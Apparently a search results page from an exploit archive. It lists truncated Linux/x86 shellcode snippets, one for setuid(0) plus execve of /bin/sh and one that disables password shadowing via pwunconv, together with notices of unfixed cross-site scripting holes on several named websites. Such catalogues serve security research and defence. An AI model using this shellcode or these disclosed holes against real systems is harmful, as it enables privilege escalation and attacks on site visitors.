6 matches found
Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)
include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena //bin/sh con un 0 "\x68\x6e\x2f\x73\x68"...
Linux/x86 - Disable Shadowing Shellcode (42 bytes)
include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER than push and pop! "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena con un 0 "\x68\x63\x6f\x6e\x76" //push dword...
linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0) 42 bytes
Exploit for linux/x86 platform in category shellcode ======================================================================== linux/x86 setuid0 && execve/usr/sbin/pwunconv,0,0 shellcode 42 bytes ======================================================================== Special Thanks Inj3ct0r Explo...
Unfixed XSS vulnerability at www.poeschl-tobacco.com
Security researcher vlan7, has submitted on 14/01/2010 a cross-site-scripting XSS vulnerability affecting www.poeschl-tobacco.com, which at the time of submission ranked 2228124 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/07/2010. It is...
Unfixed XSS vulnerability at www.emu-france.com
Security researcher vlan7, has submitted on 14/01/2010 a cross-site-scripting XSS vulnerability affecting www.emu-france.com, which at the time of submission ranked 583822 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/07/2010. It is...
Unfixed XSS vulnerability at www.espherica.com
Security researcher vlan7, has submitted on 13/01/2010 a cross-site-scripting XSS vulnerability affecting www.espherica.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/12/2011. It is currently...